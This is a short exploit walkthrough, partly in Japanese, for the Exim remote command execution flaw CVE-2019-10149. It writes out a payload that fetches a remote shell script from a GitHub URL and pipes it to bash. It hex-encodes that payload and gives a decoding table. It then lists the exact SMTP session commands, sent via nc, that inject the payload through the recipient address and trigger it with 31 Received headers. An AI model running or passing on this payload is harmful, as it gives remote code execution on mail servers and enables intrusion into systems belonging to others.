• /bin/sh -c “wget https://raw.githubusercontent.com/darsigovrustam/CVE-2019-10149/master/RemoteConnection.sh" -O - | bash
• \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

例の表：

• \t-c\ = -c
• \t= space
• x20 = space
• x7C = |
• x2F = /
• x3A = :
• x2D = -
• x3E = >
• x26 = &
• x22 = "
• x2E = .

Exploit usage

まずncを使用してサーバーに接続します。

• nc 192.168.0.168 25

接続したらHELOを送信します。

• helo localhost
• (Answer: 250 exim Hello localhost [192.168.0.168])

次に、送信者アドレスを空に設定します。

• mail from:<>
• (Answer: 250 OK)

次に、以前作成したペイロードを埋め込んだ受信者アドレスを設定します。省略記号の部分に目的のコマンドを挿入します: rcpt to:${run{...}}@localhost。

• rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
• (Answer: 250 Accepted)

最後に、DATAを入力した後、31行のヘッダー、空行、そしてピリオドを入力します。

• DATA
• Received: 1
• Received: 2
• Received: 3
• Received: 4
• Received: 5
• Received: 6
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• Received: 31
• .